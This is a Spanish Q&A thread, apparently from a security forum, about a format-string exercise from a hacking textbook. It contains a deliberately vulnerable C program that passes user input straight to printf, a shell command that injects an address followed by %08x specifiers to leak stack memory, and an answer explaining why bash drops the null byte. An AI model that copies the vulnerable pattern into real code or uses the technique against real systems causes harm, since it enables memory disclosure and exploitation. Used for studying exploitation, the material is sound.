"Hackear el Arte de la Explotación" - truncado de la cadena de formato explotar la memoria

0

Estoy intentando explotar el parámetro printf () donde el hecho de proporcionar datos controlados por el usuario directamente como único argumento de printf ("entrada del usuario") permite al usuario proporcionar parámetros de formato como% x, en cuyo caso hay no se proporcionan argumentos adicionales a la función para que salte de la pila, por lo que utiliza los datos que se encuentran actualmente allí, lo que le permite leer direcciones y más.

Programa

#include <stdio.h>
#include <stdlib.h>
#include <string.h>


int main(int argc, char *argv[]) {
    char text[1024];
    static int test_val = -72;

    if(argc < 2) {
        printf("Usage: %s <text to print>\n", argv[0]);
        exit(0);
    }
    strcpy(text, argv[1]);

    printf("The right way to print user-controlled input:\n");
    printf("%s", text);

    printf("\nThe wrong way to print user-controlled input:\n");
    printf(text);

    printf("\n");

    // Debug output
    printf("[*] test_val @ 0x%08x = %d 0x%08x\n", &test_val, test_val, test_val);

    exit(0);
}

Mi problema es que cuando proporciono una dirección que precede a los parámetros de formato como el argumento de mi programa, el byte 00 menos significativo (parte de la dirección) se trunca y se reemplaza con otro byte (2e en este caso) de la pila .

./fmt_vuln $(printf "\x58\x10\x60\x00")$(perl -e 'print ".%08x" x8')

La salida:

The right way to print user-controlled input:
X'.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x
The wrong way to print user-controlled input:
X'.017af010.3a780780.3a4b12c0.3a967700.0000002b.22f85198.00f7803b.2e601058
[*] test_val @ 0x00601058 = -72 0xffffffb8
    
pregunta nrmad 22.09.2018 - 18:33
fuente

1 respuesta

0

En mi máquina, incluso cuando acabo de probar la parte de generación de parámetros a través de

echo  $(printf "\x58\x10\x60\x00")$(perl -e 'print ".%08x" x8')

me sale un

-bash: warning: command substitution: ignored null byte in input

Parece que sucede lo mismo en su máquina (desafortunadamente, sin que se muestre la advertencia). Como consecuencia, el efecto es como si hubiera pasado

$(printf "\x58\x10\x60")$(perl -e 'print ".%08x" x8')

es decir, el cuarto carácter de su dirección prevista se toma del primer '.' (ASCII 0x2E) siguiente. Tal vez intente llevarse bien con "\ x58 \ x10 \ x60 \ x01" o "\ x58 \ x10 \ x5f \ xff" en su lugar.

Vea también enlace

    
respondido por el Hagen von Eitzen 22.09.2018 - 19:22
fuente

Lea otras preguntas en las etiquetas